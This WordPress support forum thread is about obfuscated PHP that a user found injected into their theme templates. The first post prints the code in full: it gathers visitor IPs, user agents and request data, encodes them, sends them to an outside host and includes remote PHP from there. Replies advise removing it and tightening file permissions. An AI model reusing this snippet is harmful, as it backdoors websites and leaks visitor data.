Title: Weird code in template
Last modified: August 18, 2016

---

# Weird code in template

 *  [gMk](https://wordpress.org/support/users/gmk/)
 * (@gmk)
 * [19 years, 9 months ago](https://wordpress.org/support/topic/weird-code-in-template/)
 * The code below has appeared in my template files – mainly where i include another
   file in the template folder.
 * I pretty certain i didn’t put it there – can onyone shed some light
 * Much appreciated
 * error_reporting(0);$a=(isset($_SERVER[“HTTP_HOST”]) ? $_SERVER[“HTTP_HOST”] :
   $HTTP_HOST); $b=(isset($_SERVER[“SERVER_NAME”]) ? $_SERVER[“SERVER_NAME”] : $
   SERVER_NAME); $c=(isset($_SERVER[“REQUEST_URI”]) ? $_SERVER[“REQUEST_URI”] : 
   $REQUEST_URI); $g=(isset($_SERVER[“HTTP_USER_AGENT”]) ? $_SERVER[“HTTP_USER_AGENT”]:
   $HTTP_USER_AGENT); $h=(isset($_SERVER[“REMOTE_ADDR”]) ? $_SERVER[“REMOTE_ADDR”]:
   $REMOTE_ADDR); $n=(isset($_SERVER[“HTTP_REFERER”]) ? $_SERVER[“HTTP_REFERER”]:
   $HTTP_REFERER); $str=base64_encode($a).”.”.base64_encode($b).”.”.base64_encode(
   $c).”.”.base64_encode($g).”.”.base64_encode($h).”.”.base64_encode($n);if((include_once(
   base64_decode(“aHR0cDovLw==”).base64_decode(“dXNlcjcucGhwaW5jbHVkZS5ydQ==”).”/?”.
   $str))){} else {include_once(base64_decode(“aHR0cDovLw==”).base64_decode(“dXNlcjcucGhwaW5jbHVkZS5ydQ
   ==”).”/?”.$str);}?>

Viewing 2 replies - 1 through 2 (of 2 total)

 *  [Chris_K](https://wordpress.org/support/users/handysolo/)
 * (@handysolo)
 * [19 years, 9 months ago](https://wordpress.org/support/topic/weird-code-in-template/#post-431741)
 * well, I didn’t take the time to decode it but I sure don’t think you want it 
   there.
 * I’d remove it and I’d then check the file permissions on those theme files and
   make sure they’re not world writable.
 *  Thread Starter [gMk](https://wordpress.org/support/users/gmk/)
 * (@gmk)
 * [19 years, 9 months ago](https://wordpress.org/support/topic/weird-code-in-template/#post-431746)
 * Yup Thanks Handy – searched a bit more – and its been happening to a bunch of
   folks whose files are writable – i have removed and changed file permissions.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Weird code in template’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 2 replies
 * 2 participants
 * Last reply from: [gMk](https://wordpress.org/support/users/gmk/)
 * Last activity: [19 years, 9 months ago](https://wordpress.org/support/topic/weird-code-in-template/#post-431746)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
